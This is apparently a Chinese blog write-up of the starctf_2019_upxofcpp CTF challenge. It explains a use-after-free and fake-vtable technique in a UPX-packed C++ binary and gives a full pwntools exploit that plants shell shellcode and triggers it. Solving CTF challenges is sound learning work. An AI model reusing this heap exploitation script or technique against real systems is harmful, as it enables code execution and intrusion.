starctf_2019_upxofcpp

starctf_2019_upxofcpp

程序用了UPX壳保护,通过upx –d脱壳后,拿到IDA里分析。

Delete以后没有清空指针,存在UAF,但是无法double free,因为程序中使用虚表调用,delete一次后,虚表对应位置已经被清空。因此第二次delete同一个chunk将进入else语句,进而崩溃。由于函数指针放在chunk里,因此,我们可以伪虚表指针,再利用UAF来执行。由于使用的是upx加壳,脱壳后,显示NX保护是关闭的,但是宿主是upx的壳,upx壳程序通过mmap映射出RWX的内存放置受保护的程序,因此,在这里堆栈是可执行的,也可以通过gdb调试查看。因此,我们在堆里布置下shellcode。

我们先申请两个堆释放

add(2,0x20/4,[-1])

add(3,0x20/4,[-1])

 

delete(2)

delete(3)

接下来我们触发malloc_cosolidate

add(4,0x100,[-1])

此时,2的fd伪造写上了main_arena 88的地址

因此,main_arena_88被当成一个虚表

Main_arena_88+0x10处指向2的头

Show功能取得正是vtable+0x10处的函数指针来执行

因此, Main_arena_88+0x10处的数据被当成一个函数指针,因此,我们只要利用堆的共用,在2的prev_size处布置一条jmp $xxxx的指令,然后通过show(2)就可以执行这个jmp,跳到主shellcode里。

#coding:utf8
from pwn import *

context(os='linux',arch='amd64')
sh = process('./starctf_2019_upxofcpp')
#sh = process('./upxofcpp')
#sh = remote('node3.buuoj.cn',28611)

def add(index,size,data):
   sh.sendlineafter('Your choice:','1')
   sh.sendlineafter('Index:',str(index))
   sh.sendlineafter('Size:',str(size))
   for x in data:
      if (x & 0x80000000 == 0x80000000) and x != -1:
         x -= 0x100000000
      sh.sendline(str(x))

def delete(index):
   sh.sendlineafter('Your choice:','2')
   sh.sendlineafter('index:',str(index))

def show(index):
   sh.sendlineafter('Your choice:','4')
   sh.sendlineafter('index:',str(index))

shellcode = asm(shellcraft.sh())
data = []
for x in range(0,len(shellcode),4):
   data.append(u32(shellcode[x:x+4]))
add(0,len(data),data)
add(1,0x18/4,[0,1,2,3,u32(asm('jmp $-0x70').ljust(4,'\x00')),-1])
add(2,0x20/4,[-1])
add(3,0x20/4,[-1])

delete(2)
delete(3)
add(4,0x100,[-1])
#getshell
show(2)

sh.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章